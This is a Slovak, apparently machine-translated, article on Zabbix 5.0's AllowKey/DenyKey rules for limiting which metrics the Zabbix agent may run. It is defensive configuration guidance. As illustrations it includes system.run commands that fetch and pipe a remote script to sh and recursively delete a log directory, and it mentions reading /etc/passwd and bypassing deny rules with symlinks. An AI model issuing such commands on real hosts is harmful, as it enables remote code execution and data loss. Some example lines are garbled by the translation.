Podpora čiernej listiny a bielej listiny pre metriky na strane agenta
Tichon Uskov, integračný inžinier, Zabbix
Problémy so zabezpečením údajov
Zabbix 5.0 má novú funkciu, ktorá vám umožňuje zlepšiť bezpečnosť v systémoch pomocou Zabbix Agenta a nahrádza starý parameter EnableRemoteCommands.
Zlepšenia bezpečnosti systémov založených na agentoch vyplývajú zo skutočnosti, že agent môže vykonávať veľké množstvo potenciálne nebezpečných akcií.
- Agent môže zhromažďovať takmer akékoľvek informácie, vrátane dôverných alebo potenciálne nebezpečných informácií, z konfiguračných súborov, protokolových súborov, súborov hesiel alebo akýchkoľvek iných súborov.
Napríklad pomocou nástroja zabbix_get môžete získať prístup k zoznamu používateľov, ich domovským adresárom, súborom hesiel atď.
Prístup k údajom pomocou pomôcky zabbix_get
POZNÁMKA. Údaje je možné získať iba vtedy, ak má agent oprávnenie na čítanie príslušného súboru. Ale napríklad súbor /etc/passwd/ čitateľné pre všetkých používateľov.
- Agent môže vykonávať aj potenciálne nebezpečné príkazy. Napríklad kľúč *system.run[]** vám umožňuje vykonávať akékoľvek vzdialené príkazy na sieťových uzloch vrátane spúšťania skriptov z webového rozhrania Zabbix, ktoré tiež vykonávajú príkazy na strane agenta.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- V systéme Linux sa agent štandardne spúšťa bez oprávnení root, zatiaľ čo v systéme Windows beží ako služba ako systém a má neobmedzený prístup k systému súborov. Ak sa teda po inštalácii nevykonajú žiadne zmeny v parametroch agenta Zabbix, agent má prístup k registrom, súborovému systému a môže vykonávať dotazy WMI.
V predchádzajúcich verziách parameter EnableRemoteCommands=0 povolené iba na deaktiváciu metrík pomocou kľúča *system.run[]** a spúšťanie skriptov z webového rozhrania, ale neexistoval spôsob, ako obmedziť prístup k jednotlivým súborom, povoliť alebo zakázať jednotlivé kľúče, ktoré boli nainštalované s agentom, alebo obmedziť používanie jednotlivých parametrov.
Použitie parametra EnableRemoteCommand v starších verziách Zabbix
AllowKey/DenyKey
Zabbix 5.0 pomáha chrániť sa pred takýmto neoprávneným prístupom poskytovaním bielych a čiernych zoznamov na povolenie a odmietnutie metrík na strane agenta.
V Zabbix 5.0 všetky kľúče vrátane *system.run[]** sú povolené a boli pridané dve nové možnosti konfigurácie agenta:
AllowKey= — povolené kontroly;
DenyKey= — zakázané kontroly;
kde je vzor názvu kľúča s parametrami, ktorý používa metaznaky (*).
Klávesy AllowKey a DenyKey vám umožňujú povoliť alebo zakázať jednotlivé metriky na základe konkrétneho vzoru. Na rozdiel od iných konfiguračných parametrov nie je počet parametrov AllowKey/DenyKey obmedzený. To umožňuje jasne definovať, čo presne môže agent v systéme robiť, a to vytvorením stromu kontrol – vykonateľných kľúčov, kde veľmi dôležitú úlohu zohráva poradie, v ktorom sú zapísané.
Postupnosť pravidiel
Pravidlá sa kontrolujú v poradí, v akom sú zadané do konfiguračného súboru. Kľúč sa pred prvou zhodou skontroluje podľa pravidiel a akonáhle sa kľúč dátového prvku zhoduje so vzorom, je povolený alebo zamietnutý. Potom sa kontrola pravidiel zastaví a zostávajúce kľúče sa ignorujú.
Preto, ak sa prvok zhoduje s pravidlom povolenia aj zamietnutia, výsledok bude závisieť od toho, ktoré pravidlo je v konfiguračnom súbore prvé.
2 rôzne pravidlá s rovnakým vzorom a kľúčom vfs.file.size[/tmp/file]
Poradie použitia klávesov AllowKey/DenyKey:
- presné pravidlá,
- všeobecné pravidlá,
- zákazové pravidlo.
Ak napríklad potrebujete prístup k súborom v určitom priečinku, musíte k nim najskôr povoliť prístup a potom zakázať všetko ostatné, čo nespadá do stanovených oprávnení. Ak sa najskôr použije pravidlo odmietnutia, prístup k priečinku bude odmietnutý.
Správna postupnosť
Ak potrebujete povoliť spustenie 2 nástrojov cez *system.run[]** a pravidlo odmietnutia bude špecifikované ako prvé, pomôcky sa nespustia, pretože prvý vzor bude vždy zodpovedať ľubovoľnému kľúču a nasledujúce pravidlá budú ignorované.
Nesprávna postupnosť
Vzory
Základné pravidlá
Vzor je výraz so zástupnými znakmi. Metaznak (*) sa zhoduje s ľubovoľným počtom znakov na konkrétnej pozícii. Metaznaky je možné použiť v názve kľúča aj v parametroch. Prvý parameter môžete napríklad presne definovať textom, a nasledujúci zadajte ako zástupný znak.
Parametre musia byť uzavreté v hranatých zátvorkách [].
system.run[*
- zlevfs.file*.txt]
- zlevfs.file.*[*]
- správny
Príklady použitia zástupných znakov.
- V názve kľúča a v parametri. V tomto prípade kľúč nezodpovedá podobnému kľúču, ktorý neobsahuje parameter, pretože vo vzore sme uviedli, že chceme získať určitú koncovku názvu kľúča a určitú množinu parametrov.
- Ak vzor nepoužíva hranaté zátvorky, vzor povolí všetky kľúče, ktoré neobsahujú parametre, a zakáže všetky kľúče, ktoré obsahujú zadaný parameter.
- Ak je kľúč zapísaný celý a parametre sú špecifikované ako zástupný znak, bude sa zhodovať s každým podobným kľúčom s akýmikoľvek parametrami a nebude sa zhodovať s kľúčom bez hranatých zátvoriek, t. j. bude povolený alebo zakázaný.
Pravidlá pre vyplnenie parametrov.
- Ak sa má použiť kľúč s parametrami, parametre musia byť špecifikované v konfiguračnom súbore. Parametre musia byť špecifikované ako metaznak. Je potrebné starostlivo zakázať prístup k akémukoľvek súboru a vziať do úvahy, aké informácie môže metrika poskytnúť pod rôznym pravopisom - s parametrami a bez nich.
Vlastnosti klávesov na písanie s parametrami
- Ak je kľúč zadaný s parametrami, ale parametre sú voliteľné a zadané ako metaznak, kľúč bez parametrov sa vyrieši. Napríklad, ak chcete zakázať prijímanie informácií o zaťažení CPU a určiť, že kľúč system.cpu.load[*] má byť vypnutý, nezabudnite, že kľúč bez parametrov vráti priemernú hodnotu zaťaženia.
Pravidlá pre vyplnenie parametrov
Poznámky
nastavenie
- Niektoré pravidlá nemôže používateľ zmeniť, napríklad pravidlá zisťovania alebo pravidlá automatickej registrácie agentov. Pravidlá AllowKey/DenyKey neovplyvňujú nasledujúce parametre:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
POZNÁMKA. Ak správca zakáže kľúč, pri dotaze Zabbix neposkytne informácie o tom, prečo metrika alebo kľúč spadá do kategórie 'NIE JE PODPOROVANÉ'. V protokolových súboroch agenta sa tiež nezobrazujú informácie o zákazoch vykonávania vzdialených príkazov. Je to z bezpečnostných dôvodov, ale môže to skomplikovať ladenie, ak metriky z nejakého dôvodu spadajú do nepodporovanej kategórie.
- Pri pripájaní externých konfiguračných súborov by ste sa nemali spoliehať na žiadne konkrétne poradie (napríklad v abecednom poradí).
Pomôcky príkazového riadku
Po nastavení pravidiel sa musíte uistiť, že je všetko správne nakonfigurované.
Môžete použiť jednu z troch možností:
- Pridajte metriku do Zabbixu.
- Testovať s zabbix_agentd. Agent Zabbix s opciou -tlač (-p) zobrazuje všetky kľúče (ktoré sú štandardne povolené) okrem tých, ktoré nie sú povolené konfiguráciou. A s možnosťou -test (-t) pretože zakázaný kľúč sa vráti 'Nepodporovaný kľúč položky".
- Testovať s zabbix_get. Utility zabbix_get s opciou -k vráti sa 'ZBX_NOTSUPPORTED: Neznáma metrika".
Povoliť alebo zamietnuť
Prístup k súboru môžete odmietnuť a overiť napríklad pomocou pomôcky zabbix_getže prístup k súboru je odmietnutý.
**
POZNÁMKA. Úvodzovky v parametri sa ignorujú.
V tomto prípade môže byť prístup k takémuto súboru povolený cez inú cestu. Napríklad, ak k nemu vedie symbolický odkaz.
Odporúča sa skontrolovať rôzne možnosti uplatňovania špecifikovaných pravidiel a tiež zohľadniť možnosti obchádzania zákazov.
Otázky a odpovede
otázka. Prečo bol na popis pravidiel, povolení a zákazov zvolený taký zložitý vzor s vlastným jazykom? Prečo nebolo možné použiť napríklad regulárne výrazy, ktoré používa Zabbix?
odpoveď. Toto je problém s výkonom regulárneho výrazu, pretože zvyčajne existuje iba jeden agent a kontroluje veľké množstvo metrík. Regex je pomerne náročná operácia a týmto spôsobom nemôžeme kontrolovať tisíce metrík. Zástupné znaky – univerzálne, široko používané a jednoduché riešenie.
otázka. Nie sú zahrnuté súbory zahrnuté v abecednom poradí?
odpoveď. Pokiaľ viem, je prakticky nemožné predpovedať poradie, v ktorom sa budú pravidlá uplatňovať, ak pravidlá rozložíte medzi rôzne súbory. Odporúčam zhromaždiť všetky pravidlá AllowKey/DenyKey v jednom súbore Include, pretože sa navzájom ovplyvňujú, a zahrnúť tento súbor.
otázka. V Zabbix 5.0 možnosť „EnableRemoteCommands=' v konfiguračnom súbore chýba a sú dostupné iba AllowKey/DenyKey?
Odpoveď. Áno, to je správne.
Ďakujem vám za pozornosť!
Zdroj: hab.com